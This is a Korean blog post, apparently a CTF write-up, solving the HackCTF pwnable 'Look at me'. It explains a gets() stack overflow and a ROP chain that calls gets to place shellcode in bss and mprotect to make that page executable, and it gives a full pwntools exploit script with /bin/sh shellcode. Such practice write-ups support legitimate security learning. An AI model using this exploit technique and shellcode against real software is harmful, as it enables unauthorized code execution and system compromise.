tmxklab

[HackCTF/Pwnable] Look at me 본문

War Game/HackCTF

[HackCTF/Pwnable] Look at me

tmxk4221 2020. 3. 7. 22:11

1. 문제확인

 

nc ctf.j0n9hyun.xyz 3017

 

1) 접속

한 번의 입력을 받고 종료됨

 

2-1) IDA(Pseudocode)확인 - main()

- look_at_me함수를 실행 시킴

 

2-2) IDA(Pseudocode)확인 - look_at_me()

- gets()를 통해 입력을 받음 ->  bof

 

3) $file를 통해 확인

- statically linked -> 정적 라이브러리를 사용함

 

4) $checksec를 통해 elf파일에 걸린 메모리 보호기법 확인


2. 접근방법

look_at_me함수에서 입력 값을 받을 수 있는 gets함수가 존재하므로 look_at_me부터 확인

 

1) look_at_me()

- [ebp-0x18]에 gets의 입력 값을 받는 변수 존재

- 따라서, gets를 통해 rtl을 하기 위해 system함수 확인

- 현재 system함수도 없고 /bin/sh문자열도 없다.

- 그리고, NX가 걸려있어서 쉘 코드를 삽입해서 실행시킬 수 없다.

 

2) mprotect함수

이 때, mprotect함수를 이용한다.

* int mprotect(void *addr, size_t len, int prot);

 - 메모리로 매핑된 영역의 보호 모드를 변경할 때 사용되는 함수

 - 매핑된 메모리의 보호 모드는 mmap함수로 메모리 매핑을 수행할 때 초깃값을 설정한다.

 - addr로 지정한 주소에 len크기만큼 매핑된 메모리의 보호 모드를 prot에 지정한 값으로 변경

 - prot : PROT_READ, PROT_WRITE, PROT_EXEC, PROT_NONE(prot에 7을 주면 rwx가 모두 설정된다.)

 - 주의 : addr의 값은 페이지 경계에 맞게 정렬되어야 한다. (page의 크기는 4096)

 

3) 결론

- look_at_me함수의 gets함수를 통해 RTL을 수행

- 이 때, NX-bit가 걸려있어도 mprotect함수를 사용하면 고정된 주소 값에 삽입한 Shellcode를 실행시킬 수 있다.


3. 풀이

고정된 주소 값에 쉘 코드를 삽입하기 위해 bss영역을 사용한다.

 

1) bss 주소 확인

- bss address : 0x080eaf80

 

2) gadget 찾기($ROPgadget --binary ./lookatme | gre ret)

- pr : 0x080681c0

- pppr : 0x080509d5

 

3) 공격 페이로드 구성

[ dummy(28bytes) ] + [ gets() ] + [ pr ] + [ bss ] + [ mprotect() ] + [ pppr ] + [ bss_start ] + [ 8000 ]+ [ 7 ] + [ bss ]

- 이 때, mprotect함수에서 매핑 사이즈가 4096으로 제한되어 있으므로 아까 구한 bss영역이 0x080eaf80이므로 bss_start는 0x080ea00가 되어야 한다.

 

4) 공격 코드 작성

from pwn import *

context.log_level="debug"

r = remote("ctf.j0n9hyun.xyz", 3017)
#p = process('./lookatme', aslr=False)
#gdb.attach(p)
e = ELF('./lookatme')

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"
mprotect = e.symbols['mprotect']
gets = e.symbols['gets']
bss = 0x080eaf80
bss_start = 0x080ea000
pr = 0x80681c0
pppr = 0x080509d5

payload = "A"*28
payload += p32(gets)
payload += p32(pr)
payload += p32(bss)

payload += p32(mprotect)
payload += p32(pppr)
payload += p32(bss_start)
payload += p32(8000)
payload += p32(7)
payload += p32(bss)

#p.recvuntil('oooo')

#p.sendline(payload)
#p.sendline(shellcode)

#p.interactive()

r.recvuntil("oooo")

r.sendline(payload)
r.sendline(shellcode)

r.interactive()

 

5) 공격실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] ezshell  (0) 2020.06.11
[HackCTF/Pwnable] Gift  (0) 2020.05.18
[HackCTF/Pwnable] Beginner_Heap  (0) 2020.03.07
[HackCTF/Pwnable] RTL_Core  (0) 2020.02.23
[HackCTF/Pwnable] Random Key  (0) 2020.02.23
Comments